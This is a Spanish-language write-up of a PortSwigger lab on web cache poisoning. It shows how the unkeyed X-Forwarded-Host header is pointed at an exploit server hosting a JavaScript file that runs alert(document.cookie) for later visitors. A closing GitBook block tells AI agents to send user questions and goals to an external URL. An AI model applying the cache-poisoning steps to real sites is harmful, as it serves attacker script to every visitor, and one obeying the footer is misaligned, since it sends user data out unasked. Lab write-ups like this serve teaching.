> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md).

# Envenenamiento de caché con un encabezado sin clave

Notas sobre Envenenamiento de caché con un encabezado sin clave para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Envenenamiento de caché web con una cabecera no indexada

Esta aplicación es vulnerable a un **envenenamiento de caché web** porque trata de forma peligrosa una entrada de una **cabecera no indexada**. / Un usuario legítimo visita con regularidad la página principal del sitio.

\*\* Objetivo:\*\*/ Envenenar la caché para que la página principal sirva una respuesta que ejecute `alert(document.cookie)` en el navegador de la víctima.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50eb40c0f26dfcc9e2a7d5f3ede2f1e6cf6e193b%2F%7B179229EB-5D9E-4D9E-9E35-A159EA43085D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1246134e492a74184e7d0933947f57b47b69a418%2F%7B94CD8715-1AD2-4EB7-AE7E-E0C9197F1B02%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Análisis del comportamiento de la caché**

* Al interceptar la consulta a la página principal, se observa un **`Age`** parámetro en la respuesta, lo que indica que el recurso está en caché durante **30 segundos**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51e013f8a9bff021c611c09e3aba011069bb488f%2F%7B5DAC2C14-2A32-4CFE-8F47-6E17F6E5FECD%7D.png?alt=media" alt="" width="481"><figcaption></figcaption></figure>

* Añadir un parámetro arbitrario a la URL, por ejemplo `?test=1`, muestra que:
* La clave de caché se regenera.
* El contenido almacenado en caché puede modificarse y servirse a otros usuarios durante el periodo de caché.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b4f3129e2b3109984b1ac37dcaf9b9227e64e8b%2F%7BDBC5E9F6-DCA1-4066-8943-C3B3ACBD6D6B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Si se logra envenenar la respuesta raíz (`/`), cualquier visitante verá este contenido malicioso durante estos 30 segundos

**Buscar cabeceras explotables**

* Usando **Param Miner** en Burp Suite:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad226c0c8646b5d405526a186b1ba38af28038f7%2F%7BC15DCB8F-20F5-4081-B4B2-2C2F88B30A2D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Dado que el **Repeater**, la función **Adivinar cabeceras** se utiliza.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-340e57e83f64f71c40e9747721f485d730a36e2e%2F%7BB56C9431-84E0-4335-978B-95908B200558%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1141358c26e17d2ca6fec568a41ae3a39900516e%2F%7B84E094DC-FDF5-4026-A9C8-1FB27790F06D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

La extensión detecta un comportamiento de envenenamiento de la caché vinculada a la cabecera **`X-Forwarded-Host`**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-371e9b7bbd868c090ae55b3c68af0f02358be8db%2Fimage%20(245).png?alt=media" alt=""><figcaption></figcaption></figure>

**Operación con cabecera no indexada**

* Se añade la siguiente cabecera a la solicitud:

```http
X-Forwarded-Host: test.com
```

* La respuesta entonces incluye la carga de un recurso JavaScript de este dominio.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bac1ec4fba20168496038a7c26134ee819e04af%2F%7B25847D5E-3B24-4BEF-8549-7390163BBDD4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Al recargar, la aplicación siempre intenta recuperar este script, lo que confirma que la respuesta está en caché.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e5b1537966fc4be8c981a2e9f6e00cbb2a5e965%2Fimage%20(246).png?alt=media" alt=""><figcaption></figcaption></figure>

**Redirección al servidor de explotación**

* El valor de la cabecera se reemplaza por el dominio del **servidor de explotación**:

```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```

La aplicación entonces intenta cargar el siguiente recurso:

**Inyección de carga útil maliciosa**

* En el servidor de explotación, creas el archivo:

```javascript
/resources/js/tracking.js
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-785eb9a83861e50f3e9ef2732a8811a072a4dada%2F%7B34CE6099-2EAE-4767-A58C-6CAE0DCC8D77%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Contenido del archivo:

```javascript
alert(document.cookie)
```

* Este script ahora se incluye en la respuesta almacenada en caché.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb5902cf86b64a56ae7a3ac3eb4e0917eac6c4e%2F%7B679B2E9B-86AD-486E-9DFD-E24382708011%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Resultado**

* Cuando un usuario visita la página principal durante el periodo de validez de la caché:
* El navegador carga el script envenenado.
* Aparece un cuadro de diálogo con `document.cookie`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87048244cd53151479258da4ca89ebfaa0ab3266%2F%7B6D7693AA-3695-46B7-B5D2-5FDD2B4B5DE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/web-cache-poisoning-with-unkeyed-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
